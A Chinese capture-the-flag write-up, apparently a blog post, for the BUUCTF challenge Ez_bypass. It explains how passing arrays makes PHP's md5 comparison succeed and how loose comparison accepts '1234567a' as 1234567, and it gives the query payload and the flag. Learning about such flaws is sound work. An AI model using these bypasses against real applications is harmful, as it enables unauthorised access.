• buuctf-[MRCTF2020]Ez_bypass


    今天,没事干,点进这个靶场。就是一个简单审计

    贴出源码,分析下

    <?php
    include 'flag.php';
    $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
    if(isset($_GET['gg'])&&isset($_GET['id'])) {
        $id=$_GET['id'];
        $gg=$_GET['gg'];
        if (md5($id) === md5($gg) && $id !== $gg) {
            echo 'You got the first step';
            if(isset($_POST['passwd'])) {
                $passwd=$_POST['passwd'];
                if (!is_numeric($passwd))
                {
                     if($passwd==1234567)
                     {
                         echo 'Good Job!';
                         highlight_file('flag.php');
                         die('By Retr_0');
                     }
                     else
                     {
                         echo "can you think twice??";
                     }
                }
                else{
                    echo 'You can not get it !';
                }
    
            }
            else{
                die('only one way to get the flag');
            }
    }
        else {
            echo "You are not a real hacker!";
        }
    }
    else{
        die('Please input first');
    }
    }Please input first

    需要绕过的就是一个md5比较,md5函数不能处理数组,处理数组会报错,就会返回null,然后经过md5就相等了,传入的参数不同,gg和id的值就不同,

    测试一下:

    <?php
    if (md5([])===md5([])){
        echo "相等";
    }else{
        echo "不相等";
    }
    ?>        //打印 相等

    还有一个就是is_numeric()函数,它的作用就是判断参数是否为数字或者是字符串数字,如果不是则返回false。然后就是==的弱类型比较,我们需要进入里面的if语句,所以我们必须让is_numeric()函数返回为false

    <?php

    $b
    ='1234567a';
    var_dump(is_numeric($b));  //返回bool(false)

    var_dump($b==1234567); //返回bool(true)
    ?>

    且弱类型比较时还需要等于1234567   好绕过,php的弱类型比较 1234567a==1234567这两个肯定返回true

    于是我们构造payload:get方式提交gg[]=111&id=222同时post传参passwd=1234567a

    于是获得flag{fe9822ad-a24e-4f7c-8d41-e8e850ff0331}

  • 相关阅读:
    扩展的friend语法
    常量表达式
    字符串过滤,排序输出数字的问题
    decltype类型声明- 现代C++新特性总结
    auto类型-现代C++新特性
    指针相关总结2
    指针相关总结1
    发现XMind一个超级牛逼的功能
    空类指针为什么可以调用类的成员函数 以及 A(){}和A();
    SSAS父子层次结构的增强-UnaryOperatorColumn属性
  • 原文地址:https://www.cnblogs.com/junlebao/p/14292986.html
Copyright © 2020-2023  润新知